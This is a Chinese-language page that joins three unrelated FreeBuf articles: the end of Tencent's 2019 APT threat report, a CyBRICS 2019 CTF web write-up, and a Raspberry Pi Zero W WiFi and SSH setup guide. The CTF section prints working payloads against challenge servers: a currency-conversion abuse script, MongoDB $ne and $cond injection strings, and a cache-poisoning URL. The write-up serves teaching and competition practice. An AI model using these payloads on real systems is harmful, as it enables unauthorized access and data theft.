图57:Turla的攻击目标(引用ESET关于Turla的报告)

58.png

图58:Turla的攻击流程示意图(引用ESET关于Turla的报告)

五、威胁变化趋势及未来预测

5.1  网络攻击民生化

随着基础设施的智能化,给了通过网络攻击破坏电力、交通、能源等领域的能力。而2017年的乌克兰大停电被乌克兰安全部门确认为是一起针对电力公司的网络恶意攻击事件,攻击者是APT组织BlackEnergy。而2019年南美洲的委内瑞拉大停电也被认为可能是黑客攻击导致,近期南美洲的阿根廷、乌拉圭也相继发生全国性大规模停电,其背后可能也与电力公司遭遇网络攻击相关。随着数字化智能化的普及,未来在交通、能源、通讯等各个领域都可能遭遇APT攻击威胁,影响大规模民生的系统都应在网络安全上早做防备。

5.2  网络攻击军事化

伊朗击落无人机,美伊网络战,近日,中东局势的恶化,美国无人机在侦查时被伊朗导弹击落,随后美国发动网络攻击进行报复,据悉网络攻击由美国网络司令部发起,伊朗的导弹控制系统也成为美方攻击的目标,这些攻击意在回应针对油轮的攻击以及美国无人机被击落的事件,随着战场无人化的发展,可以预见的未来网络攻击的军事属性会越来越强。

5.3  APT武器民用化

席卷全球的Wannacry 勒索软件事件还记忆犹新,该木马最核心的部分为当年泄漏不久的网络核武库“永恒之蓝”漏洞,该漏洞原本由方程式组织使用多年,但因为方程式组织被Shadow Brokers组织攻击导致包括多个0day漏洞在内的资料全部外泄,从而导致原本军工级的网络武器被被用于攻击平民,造成了严重的危害,而这种事情一直都在发生:

59.png

图59:近些年来的APT武器库的泄露情况

而APT攻击武器的泄露,也导致了APT武器的民用化,如大量的僵尸网络使用“永恒之蓝”漏洞进行传播。

5.4  攻击溯源复杂化

APT组织之间互相伪装,通过代码和基础设施都难以确定组织归属,部分组织尤其是朝鲜半岛的APT组织之间互相伪装,特意在自己的代码中加入对方木马的特征,以迷惑对方及安全分析人员,而公共基础设施的利用,如SYSCON使用免费FTP作为C&C服务器,Group123组织使用dropbox作为C&C服务器,而使用CDN作为C&C流量中转的攻击也已经出现。

随着各国对网络安全越来越重视,未来攻击者可能会花费更多的精力在自己身份的隐藏和伪装上,这样会给威胁溯源增加更大的困难。

5.5  APT威胁往移动端扩散

随着移动互联网的普及,越来越多的机密载体转移到了移动设备中,2019年,多个APT组织的移动端木马相继被发现和披露,包括海莲花、donot Team都已经使用了Android的恶意程序等。高级持续威胁不再限于计算机,未来如智能路由等可能陆续成为APT攻击的目标和持久化的宿主。

六、总结

2019年被称作5G元年,我们的网络正朝着多元化、宽带化、综合化、智能化的方向发展,越来越多的设备、越来越多的信息接入到了互联网中,即将开启一个万物互联的大时代,国家之间的APT与反APT的无硝烟战争将会更加频繁,更加激烈。没有网络安全就没有国家安全将会体现得淋漓尽致。

七、安全建议

1、各大机关和企业,以及个人用户,及时修补系统补丁和重要软件的补丁,尤其是最新APT常用漏洞CVE-2018-20250以及最近高危漏洞CVE-2019-0708漏洞补丁;

2、提升安全意识,不要打开来历不明的邮件的附件;除非文档来源可靠,用途明确,否则不要轻易启用Office的宏代码;

3、使用杀毒软件防御可能得病毒木马攻击

参考链接

1、https://blog.alyac.co.kr/2347?category=957259

2、https://blog.alyac.co.kr/2243?category=957259

3、https://www.secrss.com/articles/9511

4、https://mp.weixin.qq.com/s/K3Uts9Cb65L-2scf2XoFcg

5、https://ti.qianxin.com/blog/articles/stealjob-new-android-malware-used-by-donot-apt-group/

6、https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf

7、https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

8、https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html

9、https://blog.yoroi.company/research/the-russian-shadow-in-eastern-europe-a-month-later/

10、https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

11、https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/

下载全文(PDF):https://s.tencent.com/files/apt-report-201907.pdf

*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM

前言

周末参加了LCBC主办的2019 CyBRICS CTF Quals,在金砖五国中,获得了top5的成绩,以下是web的题解。

Bitkoff Bank

2019-07-22-10-37-35.png

点一次mine btc,获得0.0000000001 BTC,而购买auto-miner需要0.1 USD。

购买auto-miner后,我们的网页会多出这样一个script,每秒帮我们点击1000次,但实际上并非1秒能获得这么多BTC:

2019-07-22-10-37-12.png

然后获取flag需要1USD,显然即便依靠auto-miner也是遥遥无期的。

通过做题的经验,给了的功能一般不会白给,我们测试一下转换功能,发现不断将BTC转成USD,将USD转成BTC,就会因为汇率问题就会不断加钱,写脚本即可:

import requests
import re
url = 'http://95.179.148.72:8083/index.php'
cookie = {
'name':'yyplsky',
'password':'yyplskycool'
}
def GetUSD():
while True:
try:
r = requests.get(url,cookies=cookie,timeout=3)
res = r.content
res = re.findall(r'<b>([0-9\.]*)</b><br>',res)
return res[0]
except:
pass
def USD_to_BTC(USD):
data = {
'from_currency':'usd',
'to_currency':'btc',
'amount':USD
}
while True:
try:
r = requests.post(url,data=data,cookies=cookie,timeout=3)
break
except:
pass
def GetBTC():
while True:
try:
r = requests.get(url,cookies=cookie,timeout=3)
res = r.content
res = re.findall(r'<b>([0-9\.]*)</b><br>',res)
return res[1]
except:
pass
def BTC_to_USD(BTC):
data = {
'from_currency':'btc',
'to_currency':'usd',
'amount':BTC
}
while True:
try:
r = requests.post(url,data=data,cookies=cookie,timeout=3)
break
except:
pass
for i in range(200):
USD = GetUSD()
print USD
USD_to_BTC(USD)
BTC = GetBTC()
print BTC
BTC_to_USD(BTC)

通过来回转钱,跑差不多十分钟就够$1 USD,可以购买flag了。

Caesaref

这题本来设置的难度为hard,但因为出现了非预期,我们发出的请求可以在服务器收到,但回带上admin cookie,所以我们可以直接更改cookie进入admin页面,导致我们可以直接点击show flag获取flag。

修复版本见下面的Fixaref,这题就不再详解。

NopeSQL

扫描发现:

http://173.199.118.226/.git/HEAD

进行githacker源码泄露,拿到源码:

python GitHacker.py http://173.199.118.226/.git/

简单审视代码,发现是php为后端,mongodb作为数据库。

题目分为两部分,第一部分是需要先成功登入:

2019-07-22-10-49-58.png

我们注意到在sql拼接处,为加任何过滤:

$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';

题目会直接拼接我们传入的username和password。但因为后续有json_decode,所以导致我们并不能使用传统方法进行Bypass:

$document = $collection->findOne(json_decode($raw_query));

这里我们的想法本来为:

username=admin
password[$ne]=1

这样即查找用户名为admin,密码不为1的用户,那么显然管理员密码不可能为1,那么可以成功匹配到管理员用户,但这里由于json_decode,我们这样直接传参不会奏效,同时也不能使用//进行注释闭合。

<?php
error_reporting(1);
$username='admin';
$password[$ne]='1';
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
var_dump(json_decode($raw_query));

2019-07-22-10-54-55.png

但我们可以构造出如下脚本,来生成我们想要的exp:

<?php
error_reporting(1);
$password = array('$ne' => '1');
$res = array('username' => 'admin', 'password' => $password);
var_dump(json_encode($res));

得到:

{"username":"admin","password":{"$ne":"1"}}

所以我们的目标是构造出这样的exp,即可解析出password[$ne]=1。

那么我们在password字段注入即可:

aaa", "password": {"$ne": "test"}, "username": "admin

即:

username = admin
password = aaa", "password": {"$ne": "test"}, "username": "admin

这样可以得到:

{"username": "admin", "password": "aaa", "password": {"$ne": "test"}, "username": "admin"}

这样一来,我们即可搜索到满足条件的管理员用户:

"password": {"$ne": "test"}, "username": "admin"

登入后,来到第二个挑战:

2019-07-22-11-03-33.png

通过查询资料得知,在mongodb的aggregate中,可以使用$cond进行条件语句:

2019-07-22-11-05-06.png

单个条件可以为:

[$cond][if][$eq]

如果要使用两个条件,则并列即可:

2019-07-22-11-06-04.png

[$cond][if][$eq]
[$cond][if][$eq]

2019-07-22-11-06-30.png

那么我们可以利用:

if then else

比如当我们匹配到flags时候,就将其移除:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

发现flags被移除:

2019-07-22-10-24-54.png

在匹配到public时,将其移除:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=public&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

发现此时正常:

2019-07-22-10-31-15.png

那么利用条件语句,发现flags时,就输出其title:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

2019-07-22-10-23-54.png

从title中我们得知有text,那么读取:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category

即可拿到flag:

2019-07-22-10-23-12.png

cybrics{7|-|15 15 4 7E><7 |=|_49}

Fixaref

进入页面后,发现可以ask question,本能测试一下远程请求:

2019-07-22-10-15-13.png

收到后,发现是python requests发包,同时注意到http header:

2019-07-22-11-10-02.png

发现了一个奇怪的header,搜索得知,可能和缓存有关,同时依据之前非预期的题目的flag提示:cache is vulnerabilities。那么判定本题应该是利用cache的问题。

我们测试让题目自己去访问:

http://95.179.190.31/index.php/skyiscool.js

发现可以管理员的页面:

2019-07-22-10-16-35.png

2019-07-22-10-16-56.png

那么本能想要拿出flag,测试让题目去请求:

http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd&flag=1

但发现我们的flag参数被丢弃:

2019-07-22-10-19-18.png

为了探测他的过滤规则,那么构造如下请求:

http://1.1.1.1/?a=1&b=2

发现b参数被丢弃:

2019-07-22-10-13-43.png

那么初步判断校验标准应该是只允许传入1个参数,那么思考如何判断参数个数?

这里猜测可能是利用&,那么我们尝试把&编码:

http://1.1.1.1/?a=1%26b=2

发现成功:

2019-07-22-10-14-11.png

那么使用如下exp,让题目请求:

http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd%26flag=1

发现此时已经带有flag参数:

2019-07-22-10-17-55.png

访问cache页面,拿到flag:

2019-07-22-10-18-25.png

cybrics{Bu9s_C4N_83_uN1N73Nd3D!}

后记

这次2019 CyBRICS CTF Quals的Web方向题目并不困难,相比WCTF LCBC的Web题,还是后者更有趣XD~

截图

0×00 前言

近段时间买了个树莓派zero w,没想到资料如此匮乏,网上大部分教程都是针对3b+等有网口的版本的,或者是用usb转ttl弄的,好不容易找到几个针对zero w的教程我这里却都用不了,由于穷不想买usb转ttl,肝了好多天、谷歌+百度了几十个教程、查了几十个疑难杂症,最后到学校图书馆借了本《树莓派用户指南》才配置好,现在记录一下。

刷入系统和配置USB SSH根据的是这个教程:shumeipai.nxez.com/2018/02/20/raspberry-pi-zero-usb-ethernet-gadget-tutorial.html?variant=zh-cn 【树莓派 Zero USB/以太网方式连接配置教程】,默认用户名:pi,默认密码:raspberry,默认主机名:raspberrypi.local

原来数据线和充电线是不一样的,之前弄了一天,试了三根线,配置改来改去,插电脑就是一点反应都没有,最后换了一根手机数据线,设备管理器里终于出现了(虽然识别成了COM设备)。。。原来是因为我之前用的三根usb线都只是耳机的充电线。。。还有Windows的Linux子系统也有点问题,查了半天看到有位大佬说了才知道WSL识别不出raspberrypi.local,可以先用cmd来ping出ip再ssh其ip(出处忘记记了找不到了。。。)

0×01 WiFi配置

不知道为甚么,我电脑通过usb共享网络给zero却还是上不了网,只好先把wifi配置好。

使用iwlist扫描周边的无线接入点,从而检查USB无线网卡是否正常工作(需要root权限):

iwlist scan

//如果显示错误信息,例如提示网络或接口已关闭,则需要检查是否安装了正确的固件,或者USB无线网卡连接的是否是供电的USB集线器

要将树莓派连入无线网络,需要在/etc/network/interfaces文件的最后加入(需要root权限):

auto wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa.conf

*提示:在树莓派上的无线网卡如果是第一个网卡,则名称通常是wlan0,否则最后的数字可能有所不同。使用iwconfig可以查看所有无线网卡,并根据给出的无线网卡信息调整上例中的输入文字

上述interfaces文件的最后一行指向配置文件wpa.conf,该文件目前尚不存在。该文件是被wpasupplicant这一Linux下的专用无线网络安全工具所使用的。该工具向Linux提供了一种简单的方式来使用WPA(Wireless Protected Access)加密标准安全接入网络。使用wpasupplicant,你可以让树莓派接入几乎所有的无线网络,不管无线网络是使用WPA还是WPA2也无论是使用AES或TKIP模式,你还可以接入早期使用WEP加密的网络(尽管该工具以wpa开头)。*/

wpasupplicant创建的wpa.conf文件存放在/etc目录下,配置树莓派的无线接入前,我们首先新建一个空白文件/etc/wpa.conf(需要root权限),然后输入以下两行,注意替换其中的Your_SSID为无线网络中你实际上要连接的路由器SSID,要加双引号:

network={
    ssid="Your_SSID"

接下来的操作分三种情况:

(1) 无线网络不加密时,再加入下述两行并保存:

    key_mgmt=NONE
}

(2) 无线网络使用WEP加密时,再加入如下几行并保存(请注意将下面的Your_WEP_Key替换成你自己的无线网络WEP加密的ASCII密钥):

    key_mgmt=NONE
    wep_key0="Your_WEP_Key"
}

//提示:WEP加密不安全,易遭破解,不建议使用

(3) 无线网络使用WPA/WPA2加密时,再加入如下几行并保存(WPA2也是写WPA-PSK而不是WPA2-PSK;注意将下面的Your_WPA_Key替换成你自己所在的网络的密码短语口令,要加双引号):

    key_mgmt=WPA-PSK
    psk="Your_WPA_Key"
}

现在树莓派无线网络已经配置完毕,但要到树莓派重启后才能成功启用,不想重启可以使用下述命令(我执行报错,不知道怎么解决,只好重启树莓派;需要root权限):

ifup wlan0

几分钟后我的zero连上了wifi

参考来源:树莓派项目创立者Eben Upton与Gareth Halfacree所著《树莓派用户指南》5.4。

0×02 配置USB SSH

按照上一节配置之后,我又没法通过usb ssh zero了,查了一下看到了这篇教程:https://www.cnblogs.com/mind000761/p/9413624.html,感觉也许是指定了wpa-conf却没有配置usb的网络的问题,只好把内存卡拔下来插到读卡器,启动Manjaro修改配置(我这里Windows大部分情况下认不出rootfs分区,偶尔认出了修改完配置之后也弹不出设备,直接拔读卡器则保存不了修改,而WSL根本认不到内存卡,Manjaro则装了那啥守护进程却仍ssh不上zero)

在/etc/network/interfaces添加如下几行并保存(需要root权限):

allow-hotplug usb0
auto usb0
iface usb0 inet dhcp

把内存卡插回到zero,接上usb开好机我就又可以ssh了

参考来源

cnblogs.com/mind000761/p/9413624.html 【树莓派Raspberry Pi zero w无线联网实测】 3.2.3

*本文作者:NeptLiang,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。